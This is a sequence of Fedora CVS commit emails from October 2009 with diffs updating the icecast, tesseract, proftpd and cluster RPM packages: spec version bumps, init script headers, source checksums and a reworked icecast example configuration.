Update of /cvs/pkgs/rpms/icecast/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4667

Modified Files:
	icecast.init icecast.spec icecast.xml 
Removed Files:
	icecast-curl.patch 
Log Message:
* Wed Oct 21 2009 Andreas Thienemann <andreas at bawue.net> - 2.3.2-4
- Added SSL support
- Added LSB header to the initscripts
- Reworked config example to contain newest changes
- Added alternative config files and authentication example



Index: icecast.init
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/devel/icecast.init,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- icecast.init	4 May 2006 16:18:39 -0000	1.3
+++ icecast.init	21 Oct 2009 11:14:38 -0000	1.4
@@ -9,6 +9,14 @@
 # processname: icecast
 # pidfile: /var/run/icecast/icecast.pid
 # config: /etc/icecast.xml
+### BEGIN INIT INFO
+# Provides: icecast
+# Required-Start: $local_fs $remote_fs $network $named
+# Required-Stop: $local_fs $remote_fs $network
+# Short-Description: start and stop the Icecast server
+# Description: The Icecast Server is a network audio streaming server
+### END INIT INFO
+
 
 # Source function library.
 . /etc/rc.d/init.d/functions


Index: icecast.spec
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/devel/icecast.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- icecast.spec	25 Jul 2009 03:06:17 -0000	1.8
+++ icecast.spec	21 Oct 2009 11:14:38 -0000	1.9
@@ -1,7 +1,7 @@
 Summary: ShoutCast compatible streaming media server
 Name: icecast
 Version: 2.3.2
-Release: 3%{?dist}
+Release: 4%{?dist}
 Group: Applications/Multimedia
 License: GPLv2
 URL: http://www.icecast.org/
@@ -16,9 +16,8 @@ Provides: streaming-server
 
 BuildRequires: automake
 BuildRequires: libvorbis-devel >= 1.0, libogg-devel >= 1.0, curl-devel >= 7.10.0
-BuildRequires: libxml2-devel, libxslt-devel, speex-devel
-# To be enabled as soon as Fedora's libtheora supports ogg_stream_init
-BuildRequires: libtheora-devel >= 1.0
+BuildRequires: libxml2-devel, libxslt-devel, speex-devel, libtheora-devel >= 1.0
+BuildRequires: openssl-devel
 
 Requires(pre): /usr/sbin/useradd
 Requires(post): /sbin/chkconfig
@@ -41,10 +40,12 @@ find -name "*.html" -or -name "*.jpg" -o
 
 
 %build
-# theora support is to be enabled as soon as Fedora's libtheora supports
-# ogg_stream_init
-# --disable-theora
-%configure
+%configure \
+	--with-curl \
+	--with-openssl \
+	--with-ogg \
+	--with-theora \
+	--with-speex
 %{__make} %{?_smp_mflags}
 
 
@@ -93,10 +94,9 @@ fi
 
 %files
 %defattr(-,root,root)
-%doc AUTHORS COPYING NEWS ChangeLog
-%doc doc/*.html
-%doc doc/*.jpg
-%doc doc/*.css
+%doc AUTHORS COPYING NEWS ChangeLog TODO
+%doc doc/*.html doc/*.jpg doc/*.css
+%doc conf/*.dist examples/icecast_auth-1.0.tar.gz
 %config(noreplace) %{_sysconfdir}/icecast.xml
 %{_sysconfdir}/logrotate.d/icecast
 %{_initrddir}/icecast
@@ -107,6 +107,12 @@ fi
 %dir %attr(-,icecast,icecast) %{_localstatedir}/run/icecast
 
 %changelog
+* Wed Oct 21 2009 Andreas Thienemann <andreas at bawue.net> - 2.3.2-4
+- Added SSL support
+- Added LSB header to the initscripts
+- Reworked config example to contain newest changes
+- Added alternative config files and authentication example
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: icecast.xml
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/devel/icecast.xml,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- icecast.xml	16 Feb 2006 07:23:04 -0000	1.1
+++ icecast.xml	21 Oct 2009 11:14:38 -0000	1.2
@@ -7,6 +7,13 @@
         <client-timeout>30</client-timeout>
         <header-timeout>15</header-timeout>
         <source-timeout>10</source-timeout>
+        <!-- If enabled, this will provide a burst of data when a client 
+             first connects, thereby significantly reducing the startup 
+             time for listeners that do substantial buffering. However,
+             it also significantly increases latency between the source
+             client and listening client.  For low-latency setups, you
+             might want to disable this. -->
+        <burst-on-connect>1</burst-on-connect>
         <!-- same as burst-on-connect, but this allows for being more
              specific on how much to burst. Most people won't need to
              change from the default 64k. Applies to all mountpoints  -->
@@ -24,16 +31,18 @@
         <admin-password>hackme</admin-password>
     </authentication>
 
+    <!-- set the mountpoint for a shoutcast source to use, the default if not
+         specified is /stream but you can change it here if an alternative is
+         wanted or an extension is required
+    <shoutcast-mount>/live.nsv</shoutcast-mount>
+    -->
+
     <!-- Uncomment this if you want directory listings -->
     <!--
     <directory>
         <yp-url-timeout>15</yp-url-timeout>
         <yp-url>http://dir.xiph.org/cgi-bin/yp-cgi</yp-url>
     </directory>
-    <directory>
-        <yp-url-timeout>15</yp-url-timeout>
-        <yp-url>http://www.oddsock.org/cgi-bin/yp-cgi</yp-url>
-    </directory>
      -->
 
     <!-- This is the hostname other people will use to connect to your server.
@@ -41,14 +50,11 @@
     listings. -->
     <hostname>localhost</hostname>
 
-    <!-- You can use these two if you only want a single listener -->
-    <!--<port>8000</port> -->
-    <!--<bind-address>127.0.0.1</bind-address>-->
-
     <!-- You may have multiple <listener> elements -->
     <listen-socket>
         <port>8000</port>
-        <!-- <bind-address>127.0.0.1</bind-address> -->
+        <bind-address>127.0.0.1</bind-address>
+        <!-- <shoutcast-mount>/stream</shoutcast-mount> -->
     </listen-socket>
     <!--
     <listen-socket>
@@ -60,29 +66,19 @@
     <!--<master-server-port>8001</master-server-port>-->
     <!--<master-update-interval>120</master-update-interval>-->
     <!--<master-password>hackme</master-password>-->
-    <!--<master-relay-auth>1</master-relay-auth>-->
 
     <!-- setting this makes all relays on-demand unless overridden, this is
          useful for master relays which do not have <relay> definitions here.
          The default is 0 -->
     <!--<relays-on-demand>1</relays-on-demand>-->
 
-
-    <!-- Report <hostname> and this port to master server for redirecting
-         clients to this slave -->
-    <!--<master-redirect-port>8000</master-redirect-port>-->
-
-    <!-- Relays. State connection information, and by default 
-         request inline metadata for mp3 streams if available.
-         An on-demand relay will only retrieve the stream if
-         there are listeners connected -->
     <!--
     <relay>
         <server>127.0.0.1</server>
         <port>8001</port>
         <mount>/example.ogg</mount>
         <local-mount>/different.ogg</local-mount>
-        <on-demand>1</on-demand>
+        <on-demand>0</on-demand>
 
         <relay-shoutcast-metadata>0</relay-shoutcast-metadata>
     </relay>
@@ -102,8 +98,9 @@
         <fallback-mount>/example2.ogg</fallback-mount>
         <fallback-override>1</fallback-override>
         <fallback-when-full>1</fallback-when-full>
-        <intro>/path/to/stream-intro.ogg</intro>
+        <intro>/example_intro.ogg</intro>
         <hidden>1</hidden>
+        <no-yp>1</no-yp>
         <authentication type="htpasswd">
                 <option name="filename" value="myauth"/>
                 <option name="allow_duplicate_users" value="0"/>
@@ -111,43 +108,21 @@
         <on-connect>/home/icecast/bin/stream-start</on-connect>
         <on-disconnect>/home/icecast/bin/stream-stop</on-disconnect>
     </mount>
-    -->
-    <!-- other auth possibilities include running a command
-         to do the auth, mount, user and pass are passed via
-         stdin to the program
-    <mount>
-    ....
-        <authentication type="command">
-             <option name="filename" value="auth_verify"/>
-        </authentication>
-        
-        or 
-
-        for url auth, the add url needs to return a "icecast-auth-user: 1" http
-        header for a user to authenicate. Both urls are sent params via POST,
-        add is sent id, mount, user, pass, ip, useragent
-        remove is passed id, mount, user, pass, duration
 
+    <mount>
+        <mount-name>/auth_example.ogg</mount-name>
         <authentication type="url">
-
-             state username/password if url requires it
-
-             <option name="username" value="admin"/>
-             <option name="password" value="hackme"/>
-             <option name="add"    value="http://myauthserver.com/scripts/add_listener.php"/>
-             <option name="remove" value="http://myauthserver.com/scripts/del_listener.php"/>
+            <option name="mount_add"       value="http://myauthserver.net/notify_mount.php"/>
+            <option name="mount_remove"    value="http://myauthserver.net/notify_mount.php"/>
+            <option name="listener_add"    value="http://myauthserver.net/notify_listener.php"/>
+            <option name="listener_remove" value="http://myauthserver.net/notify_listener.php"/>
         </authentication>
-    </mount -->
+    </mount>
 
+    -->
 
     <fileserve>1</fileserve>
 
-    <!-- set the mountpoint for a shoutcast source to use, the default if not
-         specified is /stream but you can change it here if an alternative is
-         wanted or an extension is required
-    <shoutcast-mount>/live.nsv</shoutcast-mount>
-    -->
-
     <paths>
         <!-- basedir is only used if chroot is enabled -->
         <basedir>/usr/share/icecast</basedir>
@@ -176,8 +151,15 @@
     <logging>
         <accesslog>access.log</accesslog>
         <errorlog>error.log</errorlog>
-        <playlistlog>playlist.log</playlistlog>
-      	<loglevel>4</loglevel> <!-- 4 Debug, 3 Info, 2 Warn, 1 Error -->
+        <!-- <playlistlog>playlist.log</playlistlog> -->
+        <loglevel>3</loglevel> <!-- 4 Debug, 3 Info, 2 Warn, 1 Error -->
+        <logsize>10000</logsize> <!-- Max size of a logfile -->
+        <!-- If logarchive is enabled (1), then when logsize is reached
+             the logfile will be moved to [error|access|playlist].log.DATESTAMP,
+             otherwise it will be moved to [error|access|playlist].log.old.
+             Default is non-archive mode (i.e. overwrite)
+        -->
+        <!-- <logarchive>1</logarchive> -->
     </logging>
 
     <security>


--- icecast-curl.patch DELETED ---



From karlik at fedoraproject.org  Wed Oct 21 11:14:42 2009
From: karlik at fedoraproject.org (Karol Trzcionka)
Date: Wed, 21 Oct 2009 11:14:42 +0000 (UTC)
Subject: rpms/tesseract/devel .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 tesseract.spec, 1.8, 1.9
Message-ID: <20091021111442.450E811C00E8@cvs1.fedora.phx.redhat.com>

Author: karlik

Update of /cvs/pkgs/rpms/tesseract/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4633

Modified Files:
	.cvsignore sources tesseract.spec 
Log Message:
Update to v2.04



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	3 May 2008 22:58:53 -0000	1.5
+++ .cvsignore	21 Oct 2009 11:14:41 -0000	1.6
@@ -1,2 +1 @@
-tesseract-2.03.tar.gz
-tesseract-2.00.eng.tar.gz
+tesseract-2.04.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	3 May 2008 22:58:53 -0000	1.5
+++ sources	21 Oct 2009 11:14:42 -0000	1.6
@@ -1,2 +1 @@
-5777b70b11df16c1ac9aa155d7cfc553  tesseract-2.03.tar.gz
-b8291d6b3a63ce7879d688e845e341a9  tesseract-2.00.eng.tar.gz
+b44eba1a9f4892ac62e484c807fe0533  tesseract-2.04.tar.gz


Index: tesseract.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/devel/tesseract.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- tesseract.spec	27 Jul 2009 05:47:39 -0000	1.8
+++ tesseract.spec	21 Oct 2009 11:14:42 -0000	1.9
@@ -1,6 +1,6 @@
 Name:		tesseract
-Version:	2.03
-Release:	4%{?dist}
+Version:	2.04
+Release:	1%{?dist}
 Summary:	Raw OCR Engine 
 
 Group:		Applications/File
@@ -15,6 +15,7 @@ BuildRequires:	libtiff-devel
 Summary:	Development files for %{name}
 Group:		Development/Libraries
 Requires:	%{name} = %{version}-%{release}
+Provides:	%{name}-static = %{version}-%{release}
 
 %description
 A commercial quality OCR engine originally developed at HP between 1985 and
@@ -30,11 +31,7 @@ developing applications that use %{name}
 
 %build
 sed -i 's#-DTESSDATA_PREFIX=@datadir@/#-DTESSDATA_PREFIX=@datadir@/%{name}/##' ccutil/Makefile.*
-find . -type f -exec sed -i 's/#include <string>/#include <string>\n#include <cstring>/' {} \; ;
-sed -i 's/#include <iostream>/#include <iostream>\n#include <cstring>/' viewer/svmnode.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <cstdlib>\n#include <stdio.h>/' viewer/svutil.cpp
-sed -i 's/#include <cstring>/#include <cstring>\n#include <climits>/' viewer/scrollview.cpp
-rm -f java/makefile
+sed -i 's/#include <iostream>/#include <iostream>\n#include <cstdio>/' viewer/svutil.cpp
 %configure
 make %{?_smp_mflags}
 
@@ -43,7 +40,6 @@ rm -rf $RPM_BUILD_ROOT
 make install DESTDIR=$RPM_BUILD_ROOT
 mkdir -p $RPM_BUILD_ROOT%{_datadir}/tesseract
 mv $RPM_BUILD_ROOT%{_datadir}/tessdata $RPM_BUILD_ROOT%{_datadir}/tesseract
-rm -rf $RPM_BUILD_ROOT%{_libdir}
 rm $RPM_BUILD_ROOT%{_datadir}/%{name}/tessdata/{deu,fra,ita,nld,spa}*
 
 
@@ -58,13 +54,18 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/wordlist2dawg
 %{_datadir}/%{name}
 
-%doc AUTHORS ChangeLog COPYING NEWS phototest.tif README 
+%doc AUTHORS ChangeLog COPYING eurotext.tif NEWS phototest.tif README 
 
 %files devel
 %defattr(-,root,root,-)
 %{_includedir}/%{name}
+%{_libdir}/lib%{name}*
 
 %changelog
+* Wed Oct 21 2009 Karol Trzcionka <karlikt at gmail.com> - 2.04-1
+- Update to v2.04
+- Add static libraries to -devel subpackage
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.03-4
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From karlik at fedoraproject.org  Wed Oct 21 11:16:23 2009
From: karlik at fedoraproject.org (Karol Trzcionka)
Date: Wed, 21 Oct 2009 11:16:23 +0000 (UTC)
Subject: rpms/tesseract/devel .cvsignore,1.6,1.7 sources,1.6,1.7
Message-ID: <20091021111623.712BB11C00E8@cvs1.fedora.phx.redhat.com>

Author: karlik

Update of /cvs/pkgs/rpms/tesseract/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5273

Modified Files:
	.cvsignore sources 
Log Message:
Fix sources


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/devel/.cvsignore,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- .cvsignore	21 Oct 2009 11:14:41 -0000	1.6
+++ .cvsignore	21 Oct 2009 11:16:23 -0000	1.7
@@ -1 +1,2 @@
 tesseract-2.04.tar.gz
+tesseract-2.00.eng.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tesseract/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	21 Oct 2009 11:14:42 -0000	1.6
+++ sources	21 Oct 2009 11:16:23 -0000	1.7
@@ -1 +1,2 @@
 b44eba1a9f4892ac62e484c807fe0533  tesseract-2.04.tar.gz
+b8291d6b3a63ce7879d688e845e341a9  tesseract-2.00.eng.tar.gz



From pghmcfc at fedoraproject.org  Wed Oct 21 11:18:26 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Wed, 21 Oct 2009 11:18:26 +0000 (UTC)
Subject: rpms/proftpd/devel .cvsignore, 1.16, 1.17 proftpd.spec, 1.57,
	1.58 sources, 1.16, 1.17 proftpd-1.3.2a-defines.patch, 1.1, NONE
Message-ID: <20091021111826.75C9B11C00E8@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/proftpd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5809

Modified Files:
	.cvsignore proftpd.spec sources 
Removed Files:
	proftpd-1.3.2a-defines.patch 
Log Message:
update to 1.3.2b; drop upstreamed defines patch (bug 3221)


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Sep 2009 09:44:31 -0000	1.16
+++ .cvsignore	21 Oct 2009 11:18:26 -0000	1.17
@@ -1,3 +1,3 @@
-proftpd-1.3.2a.tar.bz2
+proftpd-1.3.2b.tar.bz2
 proftpd-mod-vroot-0.8.5.tar.gz
 proftpd-mod-exec-0.9.6.tar.gz


Index: proftpd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/devel/proftpd.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- proftpd.spec	17 Sep 2009 22:00:41 -0000	1.57
+++ proftpd.spec	21 Oct 2009 11:18:26 -0000	1.58
@@ -7,11 +7,11 @@
 %endif
 
 #global prever rc3
-%global rpmrel 7
+%global rpmrel 1
 
 Summary:		Flexible, stable and highly-configurable FTP server
 Name:			proftpd
-Version:		1.3.2a
+Version:		1.3.2b
 Release:		%{?prever:0.}%{rpmrel}%{?prever:.%{prever}}%{?dist}
 License:		GPLv2+
 Group:			System Environment/Daemons
@@ -29,7 +29,6 @@ Source9:		proftpd.sysconfig
 Source10:		http://www.castaglia.org/proftpd/modules/proftpd-mod-vroot-0.8.5.tar.gz
 Source11:		http://www.castaglia.org/proftpd/modules/proftpd-mod-exec-0.9.6.tar.gz
 Patch0:			proftpd-1.3.2rc3-nostrip.patch
-Patch1:			proftpd-1.3.2a-defines.patch
 Patch2:			proftpd-1.3.2-parallel-build.patch
 Patch3:			proftpd-1.3.2a-mlsd.patch
 BuildRoot:		%{_tmppath}/%{name}-%{version}-%{release}-root
@@ -93,9 +92,6 @@ Module to add PostgreSQL support to the 
 # Don't strip binaries - needed for useful debuginfo
 %patch0 -p1 -b .nostrip
 
-# Reinstate command-line defines (http://bugs.proftpd.org/3221)
-%patch1 -p1 -b .defines
-
 # Fix parallel build (http://bugs.proftpd.org/3189)
 %patch2 -p1 -b .parallel
 
@@ -295,6 +291,16 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Paul Howarth <paul at city-fan.org> 1.3.2b-1
+- Update to 1.3.2b
+  - Fixed regression causing command-line define options not to work (bug 3221)
+  - Fixed improper SSL/TLS certificate subjectAltName verification (bug 3275)
+  - Use correct cached user values with "SQLNegativeCache on" (bug 3282)
+  - Fix slower transfers of multiple small files (bug 3284)
+  - Support MaxTransfersPerHost, MaxTransfersPerUser properly (bug 3287)
+  - Handle symlinks to directories with trailing slashes properly (bug 3297)
+- Drop upstreamed defines patch (bug 3221)
+
 * Thu Sep 17 2009 Paul Howarth <paul at city-fan.org> 1.3.2a-7
 - Restore backward SRPM compatibility broken by previous change
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/proftpd/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Sep 2009 09:44:31 -0000	1.16
+++ sources	21 Oct 2009 11:18:26 -0000	1.17
@@ -1,3 +1,3 @@
-ad3cbb5db30c5ae39e09b308892392b3  proftpd-1.3.2a.tar.bz2
+0d6777839f37115654ce384841f68131  proftpd-1.3.2b.tar.bz2
 139fc328c43a9afbe290ec787713096b  proftpd-mod-vroot-0.8.5.tar.gz
 dfcaf605f116c29d7b4771a9b02f509b  proftpd-mod-exec-0.9.6.tar.gz


--- proftpd-1.3.2a-defines.patch DELETED ---



From fabbione at fedoraproject.org  Wed Oct 21 11:21:54 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Wed, 21 Oct 2009 11:21:54 +0000 (UTC)
Subject: rpms/cluster/F-11 .cvsignore, 1.25, 1.26 cluster.spec, 1.51,
	1.52 sources, 1.26, 1.27
Message-ID: <20091021112154.4989A11C00E8@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6617

Modified Files:
	.cvsignore cluster.spec sources 
Log Message:
New upstream release fixes several bugs



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	9 Oct 2009 05:45:05 -0000	1.25
+++ .cvsignore	21 Oct 2009 11:21:54 -0000	1.26
@@ -1 +1 @@
-cluster-3.0.3.tar.gz
+cluster-3.0.4.tar.gz


Index: cluster.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/cluster.spec,v
retrieving revision 1.51
retrieving revision 1.52
diff -u -p -r1.51 -r1.52
--- cluster.spec	9 Oct 2009 05:45:06 -0000	1.51
+++ cluster.spec	21 Oct 2009 11:21:54 -0000	1.52
@@ -18,7 +18,7 @@
 
 Name: cluster
 Summary: Red Hat Cluster
-Version: 3.0.3
+Version: 3.0.4
 Release: 1%{?alphatag:.%{alphatag}}%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Base
@@ -97,7 +97,7 @@ Requires: corosync >= 1.0.1-1
 Requires: openais >= 1.0.2-1
 Requires: perl(:MODULE_COMPAT_%(eval "`%{__perl} -V:version`"; echo $version))
 Requires: ricci >= 0.15.0-4 modcluster >= 0.15.0-3
-Requires: fence-agents
+Requires: fence-agents >= 3.0.4-1
 
 %description -n cman
 Red Hat Cluster Manager
@@ -272,11 +272,16 @@ fi
 %{_mandir}/man8/*.gfs.*
 
 %changelog
+* Wed Oct 21 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.4-1
+- New upstream release
+- spec file update:
+  * explicitly Requires newer version of fence-agents
+
 * Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.3-1
 - New upstream release
 - spec file updates:
-  * stop shipping rgmanager from cluster
   * drop cp_workaround patch
+  * stop shipping rgmanager from cluster
   * move dlm udev rules in clusterlib where they belong
 
 * Mon Aug 24 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 3.0.2-2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cluster/F-11/sources,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- sources	9 Oct 2009 05:45:06 -0000	1.26
+++ sources	21 Oct 2009 11:21:54 -0000	1.27
@@ -1 +1 @@
-fed503b2c44c966dff2adcb206569d79  cluster-3.0.3.tar.gz
+71011e62b21d97d3a38db463b7987e37  cluster-3.0.4.tar.gz



From ixs at fedoraproject.org  Wed Oct 21 11:23:09 2009
From: ixs at fedoraproject.org (Andreas Thienemann)
Date: Wed, 21 Oct 2009 11:23:09 +0000 (UTC)
Subject: rpms/icecast/EL-5 icecast.init, 1.3, 1.4 icecast.spec, 1.3,
	1.4 icecast.xml, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091021112309.6331111C00E8@cvs1.fedora.phx.redhat.com>

Author: ixs

Update of /cvs/pkgs/rpms/icecast/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6967

Modified Files:
	icecast.init icecast.spec icecast.xml sources 
Log Message:
* Wed Oct 21 2009 Andreas Thienemann <andreas at bawue.net> - 2.3.2-4
- Added SSL support
- Added LSB header to the initscripts
- Reworked config example to contain newest changes
- Added alternative config files and authentication example



Index: icecast.init
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/EL-5/icecast.init,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- icecast.init	4 May 2006 16:18:39 -0000	1.3
+++ icecast.init	21 Oct 2009 11:23:09 -0000	1.4
@@ -9,6 +9,14 @@
 # processname: icecast
 # pidfile: /var/run/icecast/icecast.pid
 # config: /etc/icecast.xml
+### BEGIN INIT INFO
+# Provides: icecast
+# Required-Start: $local_fs $remote_fs $network $named
+# Required-Stop: $local_fs $remote_fs $network
+# Short-Description: start and stop the Icecast server
+# Description: The Icecast Server is a network audio streaming server
+### END INIT INFO
+
 
 # Source function library.
 . /etc/rc.d/init.d/functions


Index: icecast.spec
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/EL-5/icecast.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- icecast.spec	8 Sep 2006 17:27:54 -0000	1.3
+++ icecast.spec	21 Oct 2009 11:23:09 -0000	1.4
@@ -1,9 +1,9 @@
 Summary: ShoutCast compatible streaming media server
 Name: icecast
-Version: 2.3.1
-Release: 3%{?dist}
+Version: 2.3.2
+Release: 4%{?dist}
 Group: Applications/Multimedia
-License: GPL
+License: GPLv2
 URL: http://www.icecast.org/
 Source0: http://downloads.xiph.org/releases/icecast/icecast-%{version}.tar.gz
 Source1: status3.xsl
@@ -16,9 +16,8 @@ Provides: streaming-server
 
 BuildRequires: automake
 BuildRequires: libvorbis-devel >= 1.0, libogg-devel >= 1.0, curl-devel >= 7.10.0
-BuildRequires: libxml2-devel, libxslt-devel, speex-devel
-# To be enabled as soon as Fedora's libtheora supports ogg_stream_init
-BuildRequires: libtheora-devel >= 1.0
+BuildRequires: libxml2-devel, libxslt-devel, speex-devel, libtheora-devel >= 1.0
+BuildRequires: openssl-devel
 
 Requires(pre): /usr/sbin/useradd
 Requires(post): /sbin/chkconfig
@@ -41,10 +40,12 @@ find -name "*.html" -or -name "*.jpg" -o
 
 
 %build
-# theora support is to be enabled as soon as Fedora's libtheora supports
-# ogg_stream_init
-# --disable-theora
-%configure
+%configure \
+	--with-curl \
+	--with-openssl \
+	--with-ogg \
+	--with-theora \
+	--with-speex
 %{__make} %{?_smp_mflags}
 
 
@@ -93,10 +94,9 @@ fi
 
 %files
 %defattr(-,root,root)
-%doc AUTHORS COPYING NEWS ChangeLog
-%doc doc/*.html
-%doc doc/*.jpg
-%doc doc/*.css
+%doc AUTHORS COPYING NEWS ChangeLog TODO
+%doc doc/*.html doc/*.jpg doc/*.css
+%doc conf/*.dist examples/icecast_auth-1.0.tar.gz
 %config(noreplace) %{_sysconfdir}/icecast.xml
 %{_sysconfdir}/logrotate.d/icecast
 %{_initrddir}/icecast
@@ -107,6 +107,28 @@ fi
 %dir %attr(-,icecast,icecast) %{_localstatedir}/run/icecast
 
 %changelog
+* Wed Oct 21 2009 Andreas Thienemann <andreas at bawue.net> - 2.3.2-4
+- Added SSL support
+- Added LSB header to the initscripts
+- Reworked config example to contain newest changes
+- Added alternative config files and authentication example
+
+* Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Tue Feb 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.3.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
+* Thu Jul 31 2008 Tom "spot" Callaway <tcallawa at redhat.com> 2.3.2-1
+- update to 2.3.2
+- fix license tag
+
+* Tue Feb 19 2008 Fedora Release Engineering <rel-eng at fedoraproject.org> - 2.3.1-5
+- Autorebuild for GCC 4.3
+
+* Mon Nov 06 2006 Jindrich Novy <jnovy at redhat.com> - 2.3.1-4
+- rebuild because of the new curl
+
 * Fri Sep 08 2006 Andreas Thienemann <andreas at bawue.net> - 2.3.1-3
 - FE6 Rebuild
 


Index: icecast.xml
===================================================================
RCS file: /cvs/pkgs/rpms/icecast/EL-5/icecast.xml,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- icecast.xml	16 Feb 2006 07:23:04 -0000	1.1
+++ icecast.xml	21 Oct 2009 11:23:09 -0000	1.2
@@ -7,6 +7,13 @@
         <client-timeout>30</client-timeout>
         <header-timeout>15</header-timeout>
         <source-timeout>10</source-timeout>
+        <!-- If enabled, this will provide a burst of data when a client 
+             first connects, thereby significantly reducing the startup 
+             time for listeners that do substantial buffering. However,
+             it also significantly increases latency between the source
+             client and listening client.  For low-latency setups, you
+             might want to disable this. -->
+        <burst-on-connect>1</burst-on-connect>
         <!-- same as burst-on-connect, but this allows for being more
              specific on how much to burst. Most people won't need to
              change from the default 64k. Applies to all mountpoints  -->
@@ -24,16 +31,18 @@
         <admin-password>hackme</admin-password>
     </authentication>
 
+    <!-- set the mountpoint for a shoutcast source to use, the default if not
+         specified is /stream but you can change it here if an alternative is
+         wanted or an extension is required
+    <shoutcast-mount>/live.nsv</shoutcast-mount>
+    -->
+
     <!-- Uncomment this if you want directory listings -->
     <!--
     <directory>
         <yp-url-timeout>15</yp-url-timeout>
         <yp-url>http://dir.xiph.org/cgi-bin/yp-cgi</yp-url>
     </directory>
-    <directory>
-        <yp-url-timeout>15</yp-url-timeout>
-        <yp-url>http://www.oddsock.org/cgi-bin/yp-cgi</yp-url>
-    </directory>
      -->
 
     <!-- This is the hostname other people will use to connect to your server.
@@ -41,14 +50,11 @@
     listings. -->
     <hostname>localhost</hostname>
 
-    <!-- You can use these two if you only want a single listener -->
-    <!--<port>8000</port> -->
-    <!--<bind-address>127.0.0.1</bind-address>-->
-
     <!-- You may have multiple <listener> elements -->
     <listen-socket>
         <port>8000</port>
-        <!-- <bind-address>127.0.0.1</bind-address> -->
+        <bind-address>127.0.0.1</bind-address>
+        <!-- <shoutcast-mount>/stream</shoutcast-mount> -->
     </listen-socket>
     <!--
     <listen-socket>
@@ -60,29 +66,19 @@
     <!--<master-server-port>8001</master-server-port>-->
     <!--<master-update-interval>120</master-update-interval>-->
     <!--<master-password>hackme</master-password>-->
-    <!--<master-relay-auth>1</master-relay-auth>-->
 
     <!-- setting this makes all relays on-demand unless overridden, this is
          useful for master relays which do not have <relay> definitions here.
          The default is 0 -->
     <!--<relays-on-demand>1</relays-on-demand>-->
 
-
-    <!-- Report <hostname> and this port to master server for redirecting
-         clients to this slave -->
-    <!--<master-redirect-port>8000</master-redirect-port>-->
-
-    <!-- Relays. State connection information, and by default 
-         request inline metadata for mp3 streams if available.
